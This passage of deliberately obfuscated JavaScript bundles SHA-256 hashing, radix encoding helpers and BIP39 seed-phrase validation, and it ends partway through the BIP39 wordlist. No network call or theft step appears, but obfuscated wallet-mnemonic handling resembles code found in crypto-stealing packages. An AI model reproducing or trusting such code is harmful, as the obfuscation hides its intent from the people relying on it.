| const _0x39fba2 = _0x41aeba4["slice"](0, _0x5b12e2); | |
| return this["destroy"](), _0x39fba2; | |
| } | |
| ["_cloneInto"](_0xcfcd0) { | |
| const _0xb9e57c2 = potato; | |
| _0xcfcd0 ||= new this["constructor"](), _0xcfcd0["set"](...this["get"]()); | |
| const { | |
| blockLen: _0x14e42d3, | |
| buffer: _0xcb487f3, | |
| length: _0x59c82d4, | |
| finished: _0x4bb5b2, | |
| destroyed: _0x2b4, | |
| pos: _0x226 | |
| } = this; | |
| _0xcfcd0["destroyed"] = _0x2b4, _0xcfcd0["finished"] = _0x4bb5b2, _0xcfcd0["length"] = _0x59c82d4, _0xcfcd0["pos"] = _0x226; | |
| if (_0x59c82d4 % _0x14e42d3) _0xcfcd0["buffer"]["set"](_0xcb487f3); | |
| return _0xcfcd0; | |
| } | |
| ["clone"]() { | |
| return this["_cloneInto"](); | |
| } | |
| }, | |
| SHA256_IV = Uint32Array["from"]([1779033703, 3144134277, 1013904242, 2773480762, 1359893119, 2600822924, 528734635, 1541459225]), | |
| U32_MASK64 = BigInt(2 ** 32 - 1), | |
| SHA256_K = Uint32Array["from"]([1116352408, 1899447441, 3049323471, 3921009573, 961987163, 1508970993, 2453635748, 2870763221, 3624381080, 310598401, 607225278, 1426881987, 1925078388, 2162078206, 2614888103, 3248222580, 3835390401, 4022224774, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, 2554220882, 2821834349, 2952996808, 3210313671, 3336571891, 3584528711, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, 2177026350, 2456956037, 2730485921, 2820302411, 3259730800, 3345764771, 3516065817, 3600352804, 4094571909, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, 2227730452, 2361852424, 2428436474, 2756734187, 3204031479, 3329325298]), | |
| SHA256_W = new Uint32Array(64), | |
| SHA2_32B = class extends HashMD { | |
| constructor(_0xdf77d2) { | |
| super(64, _0xdf77d2, 8, ![]); | |
| } | |
| ["get"]() { | |
| const { | |
| A: _0x4e585e3, | |
| B: _0x1be33b3, | |
| C: _0x375d2, | |
| D: _0x5c9, | |
| E: _0x189dbf3, | |
| F: _0x5d4, | |
| G: _0x5c0c5e3, | |
| H: _0x31deb2 | |
| } = this; | |
| return [_0x4e585e3, _0x1be33b3, _0x375d2, _0x5c9, _0x189dbf3, _0x5d4, _0x5c0c5e3, _0x31deb2]; | |
| } | |
| ["set"](_0x7c8d2, _0x1da0ff3, _0x48279d3, _0x9b98f2, _0x5e058a3, _0x228, _0x57c2, _0xf8) { | |
| this["A"] = _0x7c8d2 | 0, this["B"] = _0x1da0ff3 | 0, this["C"] = _0x48279d3 | 0, this["D"] = _0x9b98f2 | 0, this["E"] = _0x5e058a3 | 0, this["F"] = _0x228 | 0, this["G"] = _0x57c2 | 0, this["H"] = _0xf8 | 0; | |
| } | |
| ["process"](_0x52e59b3, _0x1deb9a4) { | |
| const _0x20651d2 = potato; | |
| for (let _0x3e0b4e5 = 0; _0x3e0b4e5 < 16; _0x3e0b4e5++, _0x1deb9a4 += 4) SHA256_W[_0x3e0b4e5] = _0x52e59b3["getUint32"](_0x1deb9a4, ![]); | |
| for (let _0x240 = 16; _0x240 < 64; _0x240++) { | |
| const _0x36826e5 = SHA256_W[_0x240 - 15], | |
| _0x237 = SHA256_W[_0x240 - 2], | |
| _0x4fdd1f3 = rotr(_0x36826e5, 7) ^ rotr(_0x36826e5, 18) ^ _0x36826e5 >>> 3, | |
| _0x3d24ab3 = rotr(_0x237, 17) ^ rotr(_0x237, 19) ^ _0x237 >>> 10; | |
| SHA256_W[_0x240] = _0x3d24ab3 + SHA256_W[_0x240 - 7] + _0x4fdd1f3 + SHA256_W[_0x240 - 16] | 0; | |
| } | |
| let { | |
| A: _0x3dcbb1, | |
| B: _0x89406e8, | |
| C: _0x3afec7, | |
| D: _0x593cd7, | |
| E: _0x1d662e1, | |
| F: _0x4cd7, | |
| G: _0x19ed7, | |
| H: _0x5341ba7 | |
| } = this; | |
| for (let _0x31705e6 = 0; _0x31705e6 < 64; _0x31705e6++) { | |
| const _0x2a0b5 = rotr(_0x1d662e1, 6) ^ rotr(_0x1d662e1, 11) ^ rotr(_0x1d662e1, 25), | |
| _0x4413d4 = _0x5341ba7 + _0x2a0b5 + Chi(_0x1d662e1, _0x4cd7, _0x19ed7) + SHA256_K[_0x31705e6] + SHA256_W[_0x31705e6] | 0, | |
| _0x411b2 = rotr(_0x3dcbb1, 2) ^ rotr(_0x3dcbb1, 13) ^ rotr(_0x3dcbb1, 22), | |
| _0x5910c2 = _0x411b2 + Maj(_0x3dcbb1, _0x89406e8, _0x3afec7) | 0; | |
| _0x5341ba7 = _0x19ed7, _0x19ed7 = _0x4cd7, _0x4cd7 = _0x1d662e1, _0x1d662e1 = _0x593cd7 + _0x4413d4 | 0, _0x593cd7 = _0x3afec7, _0x3afec7 = _0x89406e8, _0x89406e8 = _0x3dcbb1, _0x3dcbb1 = _0x4413d4 + _0x5910c2 | 0; | |
| } | |
| _0x3dcbb1 = _0x3dcbb1 + this["A"] | 0, _0x89406e8 = _0x89406e8 + this["B"] | 0, _0x3afec7 = _0x3afec7 + this["C"] | 0, _0x593cd7 = _0x593cd7 + this["D"] | 0, _0x1d662e1 = _0x1d662e1 + this["E"] | 0, _0x4cd7 = _0x4cd7 + this["F"] | 0, _0x19ed7 = _0x19ed7 + this["G"] | 0, _0x5341ba7 = _0x5341ba7 + this["H"] | 0, this["set"](_0x3dcbb1, _0x89406e8, _0x3afec7, _0x593cd7, _0x1d662e1, _0x4cd7, _0x19ed7, _0x5341ba7); | |
| } | |
| ["roundClean"]() { | |
| clean(SHA256_W); | |
| } | |
| ["destroy"]() { | |
| const _0x241 = potato; | |
| this["set"](0, 0, 0, 0, 0, 0, 0, 0), clean(this["buffer"]); | |
| } | |
| }, | |
| _SHA256 = class extends SHA2_32B { | |
| ["A"] = SHA256_IV[0] | 0; | |
| ["B"] = SHA256_IV[1] | 0; | |
| ["C"] = SHA256_IV[2] | 0; | |
| ["D"] = SHA256_IV[3] | 0; | |
| ["E"] = SHA256_IV[4] | 0; | |
| ["F"] = SHA256_IV[5] | 0; | |
| ["G"] = SHA256_IV[6] | 0; | |
| ["H"] = SHA256_IV[7] | 0; | |
| constructor() { | |
| super(32); | |
| } | |
| }, | |
| sha256 = createHasher(() => new _SHA256(), oidNist(1)); | |
| function isBytes2(_0x1cf4) { | |
| const _0x4e2 = potato; | |
| return _0x1cf4 instanceof Uint8Array || ArrayBuffer["isView"](_0x1cf4) && _0x1cf4["constructor"]["name"] === "Uint8Array"; | |
| } | |
| function isArrayOf(_0x45af2d3, _0x17a5) { | |
| const _0x242 = potato; | |
| if (!Array["isArray"](_0x17a5)) return ![]; | |
| if (_0x17a5["length"] === 0) return !![]; | |
| return _0x45af2d3 ? _0x17a5["every"](_0xff421e3 => typeof _0xff421e3 === "string") : _0x17a5["every"](_0x32e8d2 => Number["isSafeInteger"](_0x32e8d2)); | |
| } | |
| function afn(_0x208ec2) { | |
| const _0x51f09c2 = potato; | |
| if (typeof _0x208ec2 !== "function") throw new Error("function expected"); | |
| return !![]; | |
| } | |
| function astr(_0x55af4, _0x19d2) { | |
| const _0x243 = potato; | |
| if (typeof _0x19d2 !== "string") throw new Error(_0x55af4 + ": string expected"); | |
| return !![]; | |
| } | |
| function anumber2(_0x25d64d4) { | |
| const _0x1279ad2 = potato; | |
| if (!Number["isSafeInteger"](_0x25d64d4)) throw new Error("invalid integer: " + _0x25d64d4); | |
| } | |
| function aArr(_0x245) { | |
| const _0x40d = potato; | |
| if (!Array["isArray"](_0x245)) throw new Error("array expected"); | |
| } | |
| function astrArr(_0x1c12, _0x39476c3) { | |
| const _0x939d4a2 = potato; | |
| if (!isArrayOf(!![], _0x39476c3)) throw new Error(_0x1c12 + ": array of strings expected"); | |
| } | |
| function anumArr(_0xf01b1c3, _0x342bec3) { | |
| const _0x1e2d = potato; | |
| if (!isArrayOf(![], _0x342bec3)) throw new Error(_0xf01b1c3 + ": array of numbers expected"); | |
| } | |
| function chain(..._0x4605fc4) { | |
| const _0x1b8a = potato, | |
| _0x5e27e4 = _0x50e26f3 => _0x50e26f3, | |
| _0x1eda8a4 = (_0x38205b3, _0x3c162f3) => _0x2e6e2 => _0x38205b3(_0x3c162f3(_0x2e6e2)), | |
| _0x4e02e3 = _0x4605fc4["map"](_0x3ca37d3 => _0x3ca37d3["encode"])["reduceRight"](_0x1eda8a4, _0x5e27e4), | |
| _0x9fd60f3 = _0x4605fc4["map"](_0x3877a2 => _0x3877a2["decode"])["reduce"](_0x1eda8a4, _0x5e27e4); | |
| return { | |
| "encode": _0x4e02e3, | |
| "decode": _0x9fd60f3 | |
| }; | |
| } | |
| function alphabet(_0x35562a7) { | |
| const _0x4f27d3 = potato, | |
| _0x2033e5 = typeof _0x35562a7 === "string" ? _0x35562a7["split"]("") : _0x35562a7, | |
| _0x2c4d0e3 = _0x2033e5["length"]; | |
| astrArr("alphabet", _0x2033e5); | |
| const _0x54ab2 = new Map(_0x2033e5["map"]((_0x1763cb3, _0x55e51e3) => [_0x1763cb3, _0x55e51e3])); | |
| return { | |
| "encode": _0x49def3 => { | |
| const _0x5e2d2 = _0x4f27d3; | |
| return aArr(_0x49def3), _0x49def3["map"](_0x1740fd7 => { | |
| const _0x5d86a = _0x5e2d2; | |
| if (!Number["isSafeInteger"](_0x1740fd7) || _0x1740fd7 < 0 || _0x1740fd7 >= _0x2c4d0e3) throw new Error("alphabet.encode: digit index outside alphabet \"" + _0x1740fd7 + "\". Allowed: " + _0x35562a7); | |
| return _0x2033e5[_0x1740fd7]; | |
| }); | |
| }, | |
| "decode": _0x24387b4 => { | |
| const _0x52a4f2 = _0x4f27d3; | |
| return aArr(_0x24387b4), _0x24387b4["map"](_0x5116d5 => { | |
| const _0x28e = _0x52a4f2; | |
| astr("alphabet.decode", _0x5116d5); | |
| const _0x4966e3 = _0x54ab2["get"](_0x5116d5); | |
| if (_0x4966e3 === void 0) throw new Error("Unknown letter: \"" + _0x5116d5 + "\". Allowed: " + _0x35562a7); | |
| return _0x4966e3; | |
| }); | |
| } | |
| }; | |
| } | |
| function join(_0x260f4 = "") { | |
| const _0x221d2 = potato; | |
| return astr("join", _0x260f4), { | |
| "encode": _0x149aed4 => { | |
| return astrArr("join.decode", _0x149aed4), _0x149aed4["join"](_0x260f4); | |
| }, | |
| "decode": _0x45dd3 => { | |
| const _0x35062d2 = _0x221d2; | |
| return astr("join.decode", _0x45dd3), _0x45dd3["split"](_0x260f4); | |
| } | |
| }; | |
| } | |
| function padding(_0x463b5c6, _0x10ebe4 = "=") { | |
| const _0x4cba5f4 = potato; | |
| return anumber2(_0x463b5c6), astr("padding", _0x10ebe4), { | |
| "encode"(_0x57e1cc6) { | |
| const _0x369cea2 = _0x4cba5f4; | |
| astrArr("padding.encode", _0x57e1cc6); | |
| while (_0x57e1cc6["length"] * _0x463b5c6 % 8) _0x57e1cc6["push"](_0x10ebe4); | |
| return _0x57e1cc6; | |
| }, | |
| "decode"(_0x252) { | |
| const _0xe2ab = _0x4cba5f4; | |
| astrArr("padding.decode", _0x252); | |
| let _0x2fc7 = _0x252["length"]; | |
| if (_0x2fc7 * _0x463b5c6 % 8) throw new Error("padding: invalid, string should have whole number of bytes"); | |
| for (; _0x2fc7 > 0 && _0x252[_0x2fc7 - 1] === _0x10ebe4; _0x2fc7--) { | |
| const _0x251 = _0x2fc7 - 1, | |
| _0x3bed2 = _0x251 * _0x463b5c6; | |
| if (_0x3bed2 % 8 === 0) throw new Error("padding: invalid, string has too much padding"); | |
| } | |
| return _0x252["slice"](0, _0x2fc7); | |
| } | |
| }; | |
| } | |
| function convertRadix(_0x27d6, _0x5b63bf7, _0x5e108c7) { | |
| const _0x24e7c2 = potato; | |
| if (_0x5b63bf7 < 2) throw new Error("convertRadix: invalid from=" + _0x5b63bf7 + ", base cannot be less than 2"); | |
| if (_0x5e108c7 < 2) throw new Error("convertRadix: invalid to=" + _0x5e108c7 + ", base cannot be less than 2"); | |
| aArr(_0x27d6); | |
| if (!_0x27d6["length"]) return []; | |
| let _0x1b1f7c4 = 0; | |
| const _0x3ea99f5 = [], | |
| _0x356c4 = Array["from"](_0x27d6, _0x4628b6 => { | |
| const _0x253 = _0x24e7c2; | |
| anumber2(_0x4628b6); | |
| if (_0x4628b6 < 0 || _0x4628b6 >= _0x5b63bf7) throw new Error("invalid integer: " + _0x4628b6); | |
| return _0x4628b6; | |
| }), | |
| _0x1bd0ad3 = _0x356c4["length"]; | |
| while (!![]) { | |
| let _0x5ad1ff7 = 0, | |
| _0x11047a5 = !![]; | |
| for (let _0x264 = _0x1b1f7c4; _0x264 < _0x1bd0ad3; _0x264++) { | |
| const _0x556ec4 = _0x356c4[_0x264], | |
| _0x78fcb5 = _0x5b63bf7 * _0x5ad1ff7, | |
| _0x329ea7 = _0x78fcb5 + _0x556ec4; | |
| if (!Number["isSafeInteger"](_0x329ea7) || _0x78fcb5 / _0x5b63bf7 !== _0x5ad1ff7 || _0x329ea7 - _0x556ec4 !== _0x78fcb5) throw new Error("convertRadix: carry overflow"); | |
| const _0x48d4f2 = _0x329ea7 / _0x5e108c7; | |
| _0x5ad1ff7 = _0x329ea7 % _0x5e108c7; | |
| const _0x263 = Math["floor"](_0x48d4f2); | |
| _0x356c4[_0x264] = _0x263; | |
| if (!Number["isSafeInteger"](_0x263) || _0x263 * _0x5e108c7 + _0x5ad1ff7 !== _0x329ea7) throw new Error("convertRadix: carry overflow"); | |
| if (!_0x11047a5) continue; | |
| else { | |
| if (!_0x263) _0x1b1f7c4 = _0x264; | |
| else _0x11047a5 = ![]; | |
| } | |
| } | |
| _0x3ea99f5["push"](_0x5ad1ff7); | |
| if (_0x11047a5) break; | |
| } | |
| for (let _0x268 = 0; _0x268 < _0x27d6["length"] - 1 && _0x27d6[_0x268] === 0; _0x268++) _0x3ea99f5["push"](0); | |
| return _0x3ea99f5["reverse"](); | |
| } | |
| var gcd = (_0x14e0b3, _0x47f4) => _0x47f4 === 0 ? _0x14e0b3 : gcd(_0x47f4, _0x14e0b3 % _0x47f4), | |
| radix2carry = (_0x5b3, _0x20ca3) => _0x5b3 + (_0x20ca3 - gcd(_0x5b3, _0x20ca3)), | |
| powers = (() => { | |
| let _0xa3eb3 = []; | |
| for (let _0x4d3d6a5 = 0; _0x4d3d6a5 < 40; _0x4d3d6a5++) _0xa3eb3["push"](2 ** _0x4d3d6a5); | |
| return _0xa3eb3; | |
| })(); | |
| function convertRadix2(_0x42876d4, _0x32bbc13, _0x1f414d11, _0x4e6) { | |
| const _0x269 = potato; | |
| aArr(_0x42876d4); | |
| if (_0x32bbc13 <= 0 || _0x32bbc13 > 32) throw new Error("convertRadix2: wrong from=" + _0x32bbc13); | |
| if (_0x1f414d11 <= 0 || _0x1f414d11 > 32) throw new Error("convertRadix2: wrong to=" + _0x1f414d11); | |
| if (radix2carry(_0x32bbc13, _0x1f414d11) > 32) throw new Error("convertRadix2: carry overflow from=" + _0x32bbc13 + " to=" + _0x1f414d11 + " carryBits=" + radix2carry(_0x32bbc13, _0x1f414d11)); | |
| let _0x54e5ad1 = 0, | |
| _0x28c96e10 = 0; | |
| const _0x3a14b2 = powers[_0x32bbc13], | |
| _0x51a7 = powers[_0x1f414d11] - 1, | |
| _0x357f8a5 = []; | |
| for (const _0x108d9b6 of _0x42876d4) { | |
| anumber2(_0x108d9b6); | |
| if (_0x108d9b6 >= _0x3a14b2) throw new Error("convertRadix2: invalid data word=" + _0x108d9b6 + " from=" + _0x32bbc13); | |
| _0x54e5ad1 = _0x54e5ad1 << _0x32bbc13 | _0x108d9b6; | |
| if (_0x28c96e10 + _0x32bbc13 > 32) throw new Error("convertRadix2: carry overflow pos=" + _0x28c96e10 + " from=" + _0x32bbc13); | |
| _0x28c96e10 += _0x32bbc13; | |
| for (; _0x28c96e10 >= _0x1f414d11; _0x28c96e10 -= _0x1f414d11) _0x357f8a5["push"]((_0x54e5ad1 >> _0x28c96e10 - _0x1f414d11 & _0x51a7) >>> 0); | |
| const _0x3a6eee4 = powers[_0x28c96e10]; | |
| if (_0x3a6eee4 === void 0) throw new Error("invalid carry"); | |
| _0x54e5ad1 &= _0x3a6eee4 - 1; | |
| } | |
| _0x54e5ad1 = _0x54e5ad1 << _0x1f414d11 - _0x28c96e10 & _0x51a7; | |
| if (!_0x4e6 && _0x28c96e10 >= _0x32bbc13) throw new Error("Excess padding"); | |
| if (!_0x4e6 && _0x54e5ad1 > 0) throw new Error("Non-zero padding: " + _0x54e5ad1); | |
| if (_0x4e6 && _0x28c96e10 > 0) _0x357f8a5["push"](_0x54e5ad1 >>> 0); | |
| return _0x357f8a5; | |
| } | |
| function radix(_0x35cd4) { | |
| anumber2(_0x35cd4); | |
| const _0x2db8fe4 = 2 ** 8; | |
| return { | |
| "encode": _0x3d156a4 => { | |
| const _0x270 = perpetual; | |
| if (!isBytes2(_0x3d156a4)) throw new Error("radix.encode input should be Uint8Array"); | |
| return convertRadix(Array["from"](_0x3d156a4), _0x2db8fe4, _0x35cd4); | |
| }, | |
| "decode": _0x537ddc4 => { | |
| const _0xf76f0b2 = perpetual; | |
| return anumArr("radix.decode", _0x537ddc4), Uint8Array["from"](convertRadix(_0x537ddc4, _0x35cd4, _0x2db8fe4)); | |
| } | |
| }; | |
| } | |
| function radix2(_0x5d10, _0x1e9f3 = ![]) { | |
| const _0x46a8 = potato; | |
| anumber2(_0x5d10); | |
| if (_0x5d10 <= 0 || _0x5d10 > 32) throw new Error("radix2: bits should be in (0..32]"); | |
| if (radix2carry(8, _0x5d10) > 32 || radix2carry(_0x5d10, 8) > 32) throw new Error("radix2: carry overflow"); | |
| return { | |
| "encode": _0x1a4e7c4 => { | |
| const _0x29804a2 = _0x46a8; | |
| if (!isBytes2(_0x1a4e7c4)) throw new Error("radix2.encode input should be Uint8Array"); | |
| return convertRadix2(Array["from"](_0x1a4e7c4), 8, _0x5d10, !_0x1e9f3); | |
| }, | |
| "decode": _0x17dbae4 => { | |
| const _0x175cc = _0x46a8; | |
| return anumArr("radix2.decode", _0x17dbae4), Uint8Array["from"](convertRadix2(_0x17dbae4, _0x5d10, 8, _0x1e9f3)); | |
| } | |
| }; | |
| } | |
| function checksum(_0xa21b8, _0x4af4) { | |
| return anumber2(_0xa21b8), afn(_0x4af4), { | |
| "encode"(_0x42cb6) { | |
| const _0x1b14 = perpetual; | |
| if (!isBytes2(_0x42cb6)) throw new Error("checksum.encode: input should be Uint8Array"); | |
| const _0x215b2 = _0x4af4(_0x42cb6)["slice"](0, _0xa21b8), | |
| _0x5e8e4 = new Uint8Array(_0x42cb6["length"] + _0xa21b8); | |
| return _0x5e8e4["set"](_0x42cb6), _0x5e8e4["set"](_0x215b2, _0x42cb6["length"]), _0x5e8e4; | |
| }, | |
| "decode"(_0x59381c5) { | |
| const _0x11280e2 = perpetual; | |
| if (!isBytes2(_0x59381c5)) throw new Error("checksum.decode: input should be Uint8Array"); | |
| const _0x49a88c4 = _0x59381c5["slice"](0, -_0xa21b8), | |
| _0x297b9b3 = _0x59381c5["slice"](-_0xa21b8), | |
| _0xb1e14b3 = _0x4af4(_0x49a88c4)["slice"](0, _0xa21b8); | |
| for (let _0x32e9 = 0; _0x32e9 < _0xa21b8; _0x32e9++) | |
| if (_0xb1e14b3[_0x32e9] !== _0x297b9b3[_0x32e9]) throw new Error("Invalid checksum"); | |
| return _0x49a88c4; | |
| } | |
| }; | |
| } | |
| var utils = { | |
| "alphabet": alphabet, | |
| "chain": chain, | |
| "checksum": checksum, | |
| "convertRadix": convertRadix, | |
| "convertRadix2": convertRadix2, | |
| "radix": radix, | |
| "radix2": radix2, | |
| "join": join, | |
| "padding": padding | |
| }; | |
| function nfkd(_0x1b18) { | |
| const _0x109d = potato; | |
| if (typeof _0x1b18 !== "string") throw new TypeError("invalid mnemonic type: " + typeof _0x1b18); | |
| return _0x1b18["normalize"]("NFKD"); | |
| } | |
| function normalize(_0x19fb2) { | |
| const _0x271 = potato, | |
| _0x25be3b4 = nfkd(_0x19fb2), | |
| _0x5aaf5b4 = _0x25be3b4["split"](" "); | |
| if (![12, 15, 18, 21, 24]["includes"](_0x5aaf5b4["length"])) throw new Error("Invalid mnemonic"); | |
| return { | |
| "nfkd": _0x25be3b4, | |
| "words": _0x5aaf5b4 | |
| }; | |
| } | |
| function aentropy(_0x38cc3) { | |
| const _0x14399d2 = potato; | |
| abytes(_0x38cc3); | |
| if (![16, 20, 24, 28, 32]["includes"](_0x38cc3["length"])) throw new Error("invalid entropy length"); | |
| } | |
| var calcChecksum = _0x274 => { | |
| const _0xe5b61d4 = 8 - _0x274["length"] / 4; | |
| return new Uint8Array([sha256(_0x274)[0] >> _0xe5b61d4 << _0xe5b61d4]); | |
| }; | |
| function getCoder(_0x46f2a6) { | |
| const _0x5f1a2 = potato; | |
| if (!Array["isArray"](_0x46f2a6) || _0x46f2a6["length"] !== 2048 || typeof _0x46f2a6[0] !== "string") throw new Error("Wordlist: expected array of 2048 strings"); | |
| return _0x46f2a6["forEach"](_0x10ebbb4 => { | |
| const _0x4cf19c2 = _0x5f1a2; | |
| if (typeof _0x10ebbb4 !== "string") throw new Error("wordlist: non-string element: " + _0x10ebbb4); | |
| }), utils["chain"](utils["checksum"](1, calcChecksum), utils["radix2"](11, !![]), utils["alphabet"](_0x46f2a6)); | |
| } | |
| function mnemonicToEntropy(_0x269af3, _0x2ad9eb3) { | |
| const _0x275 = potato, | |
| { | |
| words: _0x3a6ac2 | |
| } = normalize(_0x269af3), | |
| _0x270bd3 = getCoder(_0x2ad9eb3)["decode"](_0x3a6ac2); | |
| return aentropy(_0x270bd3), _0x270bd3; | |
| } | |
| function validateMnemonic(_0x3ca9bd3, _0x358e5) { | |
| try { | |
| mnemonicToEntropy(_0x3ca9bd3, _0x358e5); | |
| } catch (_0x580b) { | |
| return ![]; | |
| } | |
| return !![]; | |
| } | |
| var wordlist = "abandon\nability\nable\nabout\nabove\nabsent\nabsorb\nabstract\nabsurd\nabuse\naccess\naccident\naccount\naccuse\nachieve\nacid\nacoustic\nacquire\nacross\nact\naction\nactor\nactress\nactual\nadapt\nadd\naddict\naddress\nadjust\nadmit\nadult\nadvance\nadvice\naerobic\naffair\nafford\nafraid\nagain\nage\nagent\nagree\nahead\naim\nair\nairport\naisle\nalarm\nalbum\nalcohol\nalert\nalien\nall\nalley\nallow\nalmost\nalone\nalpha\nalready\nalso\nalter\nalways\namateur\namazing\namong\namount\namused\nanalyst\nanchor\nancient\nanger\nangle\nangry\nanimal\nankle\nannounce\nannual\nanother\nanswer\nantenna\nantique\nanxiety\nany\napart\napology\nappear\napple\napprove\napril\narch\narctic\narea\narena\nargue\narm\narmed\narmor\narmy\naround\narrange\narrest\narrive\narrow\nart\nartefact\nartist\nartwork\nask\naspect\nassault\nasset\nassist\nassume\nasthma\nathlete\natom\nattack\nattend\nattitude\nattract\nauction\naudit\naugust\naunt\nauthor\nauto\nautumn\naverage\navocado\navoid\nawake\naware\naway\nawesome\nawful\nawkward\naxis\nbaby\nbachelor\nbacon\nbadge\nbag\nbalance\nbalcony\nball\nbamboo\nbanana\nbanner\nbar\nbarely\nbargain\nbarrel\nbase\nbasic\nbasket\nbattle\nbeach\nbean\nbeauty\nbecause\nbecome\nbeef\nbefore\nbegin\nbehave\nbehind\nbelieve\nbelow\nbelt\nbench\nbenefit\nbest\nbetray\nbetter\nbetween\nbeyond\nbicycle\nbid\nbike\nbind\nbiology\nbird\nbirth\nbitter\nblack\nblade\nblame\nblanket\nblast\nbleak\nbless\nblind\nblood\nblossom\nblouse\nblue\nblur\nblush\nboard\nboat\nbody\nboil\nbomb\nbone\nbonus\nbook\nboost\nborder\nboring\nborrow\nboss\nbottom\nbounce\nbox\nboy\nbracket\nbrain\nbrand\nbrass\nbrave\nbread\nbreeze\nbrick\nbridge\nbrief\nbright\nbring\nbrisk\nbroccoli\nbroken\nbronze\nbroom\nbrother\nbrown\nbrush\nbubble\nbuddy\nbudget\nbuffalo\nbuild\nbulb\nbulk\nbullet\nbundle\nbunker\nburden\nburger\nburst\nbus\nbusiness\nbusy\nbutter\nbuyer\nbuzz\ncabbage\ncabin\ncable\ncactus\ncage\ncake\ncall\ncalm\ncamera\ncamp\ncan\ncanal\ncancel\ncandy\ncannon\ncanoe\ncanvas\ncanyon\ncapable\ncapital\ncaptain\ncar\ncarbon\ncard\ncargo\ncarpet\ncarry\ncart\ncase\ncash\ncasino\ncastle\ncasual\ncat\ncatalog\ncatch\ncategory\ncattle\ncaught\ncause\ncaution\ncave\nceiling\ncelery\ncement\ncensus\ncentury\ncereal\ncertain\nchair\nchalk\nchampion\nchange\nchaos\nchapter\ncharge\nchase\nchat\ncheap\ncheck\ncheese\nchef\ncherry\nchest\nchicken\nchief\nchild\nchimney\nchoice\nchoose\nchronic\nchuckle\nchunk\nchurn\ncigar\ncinnamon\ncircle\ncitizen\ncity\ncivil\nclaim\nclap\nclarify\nclaw\nclay\nclean\nclerk\nclever\nclick\nclient\ncliff\nclimb\nclinic\nclip\nclock\nclog\nclose\ncloth\ncloud\nclown\nclub\nclump\ncluster\nclutch\ncoach\ncoast\ncoconut\ncode\ncoffee\ncoil\ncoin\ncollect\ncolor\ncolumn\ncombine\ncome\ncomfort\ncomic\ncommon\ncompany\nconcert\nconduct\nconfirm\ncongress\nconnect\nconsider\ncontrol\nconvince\ncook\ncool\ncopper\ncopy\ncoral\ncore\ncorn\ncorrect\ncost\ncotton\ncouch\ncountry\ncouple\ncourse\ncousin\ncover\ncoyote\ncrack\ncradle\ncraft\ncram\ncrane\ncrash\ncrater\ncrawl\ncrazy\ncream\ncredit\ncreek\ncrew\ncricket\ncrime\ncrisp\ncritic\ncrop\ncross\ncrouch\ncrowd\ncrucial\ncruel\ncruise\ncrumble\ncrunch\ncrush\ncry\ncrystal\ncube\nculture\ncup\ncupboard\ncurious\ncurrent\ncurtain\ncurve\ncushion\ncustom\ncute\ncycle\ndad\ndamage\ndamp\ndance\ndanger\ndaring\ndash\ndaughter\ndawn\nday\ndeal\ndebate\ndebris\ndecade\ndecember\ndecide\ndecline\ndecorate\ndecrease\ndeer\ndefense\ndefine\ndefy\ndegree\ndelay\ndeliver\ndemand\ndemise\ndenial\ndentist\ndeny\ndepart\ndepend\ndeposit\ndepth\ndeputy\nderive\ndescribe\ndesert\ndesign\ndesk\ndespair\ndestroy\ndetail\ndetect\ndevelop\ndevice\ndevote\ndiagram\ndial\ndiamond\ndiary\ndice\ndiesel\ndiet\ndiffer\ndigital\ndignity\ndilemma\ndinner\ndinosaur\ndirect\ndirt\ndisagree\ndiscover\ndisease\ndish\ndismiss\ndisorder\ndisplay\ndistance\ndivert\ndivide\ndivorce\ndizzy\ndoctor\ndocument\ndog\ndoll\ndolphin\ndomain\ndonate\ndonkey\ndonor\ndoor\ndose\ndouble\ndove\ndraft\ndragon\ndrama\ndrastic\ndraw\ndream\ndress\ndrift\ndrill\ndrink\ndrip\ndrive\ndrop\ndrum\ndry\nduck\ndumb\ndune\nduring\ndust\ndutch\nduty\ndwarf\ndynamic\neager\neagle\nearly\nearn\nearth\neasily\neast\neasy\necho\necology\neconomy\nedge\nedit\neducate\neffort\negg\neight\neither\nelbow\nelder\nelectric\nelegant\nelement\nelephant\nelevator\nelite\nelse\nembark\nembody\nembrace\nemerge\nemotion\nemploy\nempower\nempty\nenable\nenact\nend\nendless\nendorse\nenemy\nenergy\nenforce\nengage\nengine\nenhance\nenjoy\nenlist\nenough\nenrich\nenroll\nensure\nenter\nentire\nentry\nenvelope\nepisode\nequal\nequip\nera\nerase\nerode\nerosion\nerror\nerupt\nescape\nessay\nessence\nestate\neternal\nethics\nevidence\nevil\nevoke\nevolve\nexact\nexample\nexcess\nexchange\nexcite\nexclude\nexcuse\nexecute\nexercise\nexhaust\nexhibit\nexile\nexist\nexit\nexotic\nexpand\nexpect\nexpire\nexplain\nexpose\nexpress\nextend\nextra\neye\neyebrow\nfabric\nface\nfaculty\nfade\nfaint\nfaith\nfall\nfalse\nfame\nfamily\nfamous\nfan\nfancy\nfantasy\nfarm\nfashion\nfat\nfatal\nfather\nfatigue\nfault\nfavorite\nfeature\nfebruary\nfederal\nfee\nfeed\nfeel\nfemale\nfence\nfestival\nfetch\nfever\nfew\nfiber\nfiction\nfield\nfigure\nfile\nfilm\nfilter\nfinal\nfind\nfine\nfinger\nfinish\nfire\nfirm\nfirst\nfiscal\nfish\nfit\nfitness\nfix\nflag\nflame\nflash\nflat\nflavor\nflee\nflight\nflip\nfloat\nflock\nfloor\nflower\nfluid\nflush\nfly\nfoam\nfocus\nfog\nfoil\nfold\nfollow\nfood\nfoot\nforce\nforest\nforget\nfork\nfortune\nforum\nforward\nfossil\nfoster\nfound\nfox\nfragile\nframe\nfrequent\nfresh\nfriend\nfringe\nfrog\nfront\nfrost\nfrown\nfrozen\nfruit\nfuel\nfun\nfunny\nfurnace\nfury\nfuture\ngadget\ngain\ngalaxy\ngallery\ngame\ngap\ngarage\ngarbage\ngarden\ngarlic\ngarment\ngas\ngasp\ngate\ngather\ngauge\ngaze\ngeneral\ngenius\ngenre\ngentle\ngenuine\ngesture\nghost\ngiant\ngift\ngiggle\nginger\ngiraffe\ngirl\ngive\nglad\nglance\nglare\nglass\nglide\nglimpse\nglobe\ngloom\nglory\nglove\nglow\nglue\ngoat\ngoddess\ngold\ngood\ngoose\ngorilla\ngospel\ngossip\ngovern\ngown\ngrab\ngrace\ngrain\ngrant\ngrape\ngrass\ngravity\ngreat\ngreen\ngrid\ngrief\ngrit\ngrocery\ngroup\ngrow